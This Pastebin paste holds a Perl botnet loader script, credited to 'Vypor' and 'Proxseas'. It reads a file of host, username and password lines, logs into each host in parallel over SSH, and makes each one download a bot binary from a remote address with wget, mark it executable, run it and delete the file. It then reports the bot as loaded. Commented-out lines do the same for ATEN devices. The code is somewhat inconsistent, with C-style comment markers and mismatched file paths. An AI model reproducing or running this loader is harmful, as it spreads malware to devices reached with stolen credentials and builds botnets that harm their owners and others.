Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /*
- Made by Vypor
- Remade by Proxseas to execute on regular linux systems
- /*
- #!/usr/bin/perl
- use Net::SSH::Expect;
- #use strict;
- my @pids;
- my $max = 340;
- my $children = 0;
- my $openme = $ARGV[0];
- open my $handle, '<', $openme;
- chomp( my @loadlist = <$handle> );
- close $handle;
- for my $i (@loadlist) {
- my $pid;
- if($children == $max) {
- $pid = wait();
- $children--;
- }
- if(defined($pid = fork())) {
- if($pid) {
- $children++;
- push @pids, $pid;
- } else {
- child($i);
- exit;
- }
- } else {
- print "Error: failed to fork\n";
- exit;
- }
- }
- for my $pid(@pids) {
- waitpid $pid, 0;
- }
- print "DONE.\n";
- sub child() {
- my $line = $_[0];
- my ($host,$user,$pass) = split (/ /, $line, 3);
- my $ssh = Net::SSH::Expect-> new (
- host => $host,
- password => $pass,
- user => $user,
- raw_pty => 1,
- timeout => 20,
- );
- my $login_output=$ssh->login();
- /*
- THIS IS ONLY USED BY MICRO
- if ( $login_output =~ /ATEN/ )
- {
- my $bot = "cfa";
- # $ssh->send("mount -o rw,remount /nv");
- # $ssh->send("wget http://1.1.1.1/bot -O /nv/$bot");
- # $ssh->send("chmod 777 /nv/$bot");
- # $ssh->send("/nv/$bot");
- /*
- $ssh->send("wget http://1.1.1.1/botfile -O /whateverdirectory/bot");
- $ssh->send("chmod u+x * /whateverdirectory/");
- $ssh->send("/tmp/bot");
- $ssh->send("rm -rf /whateverdirectory/bot");
- while ( defined ($line = $ssh->read_line()) ) {
- }
- print "[\e[0;32m+\e[0m] \e[0;32m$bot Has Been Loaded To: $host\e[0m\n";
- } else {
- die "Log in attempt failed with\n";
- }
- exit;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement